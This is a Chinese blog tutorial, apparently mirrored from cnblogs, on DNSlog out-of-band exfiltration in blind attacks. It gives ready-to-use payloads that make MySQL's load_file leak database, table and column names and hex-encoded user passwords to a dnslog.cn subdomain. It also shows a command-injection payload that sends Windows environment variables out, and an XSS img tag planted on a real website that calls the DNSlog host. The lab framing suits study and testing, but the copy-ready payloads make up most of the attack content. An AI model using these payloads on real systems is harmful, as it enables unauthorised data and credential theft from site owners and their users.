zoukankan      html  css  js  c++  java
  • DNSlog平台各种利用姿势(盲注)

    题记

           首先祝大家新年快乐,过年给我最大的感觉就是几家欢喜几家愁,我们国家总量看似光鲜,可是平均下来也不多,小老百姓更不容易了,一般没有文化的百姓除了创业就是打工就是中间商赚差价,真是生活不易,加油,一起建设新中国。

           DNSlog我以前是通过看推文了解过,后来零组上架了这么个功能,想着试试,后来发现零组的好像还用不了,还是用别的平台吧,这是可以利用它进行快速盲注的工具,看完大佬们的文章复现完受益良多,get到一个新姿势。玩这个的原因之一也包括我最近在整理sql注入。

    靶场环境

           DNSlog平台:http://dnslog.cn

           Sqli-less5:存在布尔盲注漏洞。

           皮卡丘靶场命令执行模块

           真实网站反射型xss

    DNSlog简介

           在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

           DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如127.0.0.1,使用户可以访问这台服务器上相应的服务。

           了解到了什么是DNS,那么什么又是DNSlog呢?

           DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

           原理:我注册了一个为a.com的域名,我将他a记录泛解析到10.0.0.0上,这样就实现了无论我记录值填什么他都有解析,并且都指向10.0.0.0,当我向dns服务器发起test.a.com的解析请求时,DNSlog中会记录下他给test.a.com解析,解析值为10.0.0.0。(通俗来讲就是我们申请一个dnslog的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog平台就会把请求的记录显示出来。)

    常用在哪些情况下:

           1、SQL注入中的盲注

           2、无回显的命令执行

           3、无回显的SSRF

    用到的函数

           DNSlog进行注入需要用到load_file()函数,为什么要用load_file函数呢?因为load_file函数可以解析dns请求。

           数据库中使用此payload:select load_file('\\SQL注入查询语句.a.com')

           有些地方用Hex编码,编码目的就是减少干扰,因为很多数据库字段的值可能是有特殊符号的,这些特殊符号拼接在域名里是无法做dns查询的,因为域名是有一定的规范,有些特殊符号是不能带入的。

           注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

    Sqli利用DNSlog进行布尔盲注

           1、打开DNSlog平台,申请一个域名。此时我们申请到h6xj05.dnslog.cn。

           2、打开布尔盲注靶场,http://192.168.1.132:86/Less-5/?id=1为正常页面。加上'报错,可能发现只返回真和假,于是利用DNSlog。

           注意这里的""表示转义,后面的ABC可以改成任何字母;sql语句在双引号内不执行,所以要用concat()函数拼接sql语句在双引号内不执行,所以要用concat()函数拼接。

    查询数据库名称

           第一条payload: ' and if((select load_file(concat('\\',(select database()),'.h6xj05.dnslog.cn\aaa'))),1,1)--+

           当我们在浏览器输入payload的时候,页面返回正常且DNSlog收到数据库的记录。

           页面执行的语句在数据库中对应的语句为select * from users where id='1' and if((select load_file(concat('\\',(select database()),'.h6xj05.dnslog.cn\aaa'))),1,1)-- ' LIMIT 0,1

    查表名

           首先我们看数据库中表名:

           查第一个表的名字:' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.h6xj05.dnslog.cn\aaa'))),1,1)--+

           查第二个表的名字:' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.h6xj05.dnslog.cn\aaa'))),1,1)--+

    查字段名

           ?id=1' and if((select load_file(concat('\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.h6xj05.dnslog.cn\aaa'))),1,1)--+

           如果查别的字段修改limit后面的值即可。

           做的过程不小心把dnslog刷新了,可以后面域名有所变化,原理是相通的,不影响理解。

    查想要的值

           查找users表中password字段的第一个值:?id=1' and if((select load_file(concat('\\',(select hex(password) from users limit 0,1),'.licayh.dnslog.cn\aaa'))),1,1)--+

           查找users表中password字段的第二个值:?id=1' and if((select load_file(concat('\\',(select hex(password) from users limit 1,1),'.licayh.dnslog.cn\aaa'))),1,1)--+

    Hex解密

           打开http://ctf.ssleye.com/hex.html

           可以看到解得

           分别对应的数据库中数据。

    其他无回显注入

    命令注入

           适用于无回显的命令注入点

           使用皮卡丘靶场的命令注入模块实验

           假设该注入点无回显

           查询到了我们输入的变量

           %os%.licayh.dnslog.cn

    windows常用变量:
    
    //变量 类型 描述
    
    //%ALLUSERSPROFILE% 本地 返回"所有用户"配置文件的位置。
    
    //%APPDATA%    本地 返回默认情况下应用程序存储数据的位置。
    
    //%CD% 本地 返回当前目录字符串。
    
    //%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
    
    //%CMDEXTVERSION% 系统 返回当前的"命令处理程序扩展"的版本号。
    
    //%COMPUTERNAME% 系统 返回计算机的名称。
    
    //%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
    
    //%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
    
    //%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
    
    //%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
    
    //%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
    
    //%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
    
    //%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
    
    //%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
    
    //%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
    
    //%PATH% 系统 指定可执行文件的搜索路径。
    
    //%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
    
    //%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
    
    //%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
    
    //%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
    
    //%PROCESSOR_REVISION% 系统 返回处理器的版本号。
    
    //%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
    
    //%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
    
    //%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
    
    //%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
    
    //%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
    
    //%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
    
    //%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
    
    //%USERNAME% 本地 返回当前登录的用户的名称。
    
    //%USERPROFILE% 本地 返回当前用户的配置文件的位置。
    
    //%WINDIR% 系统 返回操作系统目录的位置。

    xss盲打

           找一个有反射型xss的网站

           注入点插入:<img src="http://licayh.dnslog.cn/aaa">

           收到请求说明触发了插入的js代码

    sqlmap使用dns

           sqlmap可以使用--dns-domain参数实现自动化dns注入

    参考链接

           渗透测试中dns log的使用(很不错的一篇原理解析文):http://cnblogs.com/rnss/p/11320305.html

           一篇文章理解DNSlog的妙用:http://mp.weixin.qq.com/s/MFKs80OcUdtUKmBO6WBcQA

           Dnslog在SQL注入中的实战(各种数据库全了,有需要可看此处复习):http://anquanke.com/post/id/98096

  • 相关阅读:
    dotnet core 获取 MacAddress 地址方法
    dotnet core 获取 MacAddress 地址方法
    dotnet core 发布只带必要的依赖文件
    dotnet core 发布只带必要的依赖文件
    Developing Universal Windows Apps 开发UWA应用 问答
    Developing Universal Windows Apps 开发UWA应用 问答
    cmd 如何跨驱动器移动文件夹
    cmd 如何跨驱动器移动文件夹
    C++ 驱动开发 error LNK2019
    C++ 驱动开发 error LNK2019
  • 原文地址:https://www.cnblogs.com/sunny11/p/14399420.html
Copyright © 2011-2022 走看看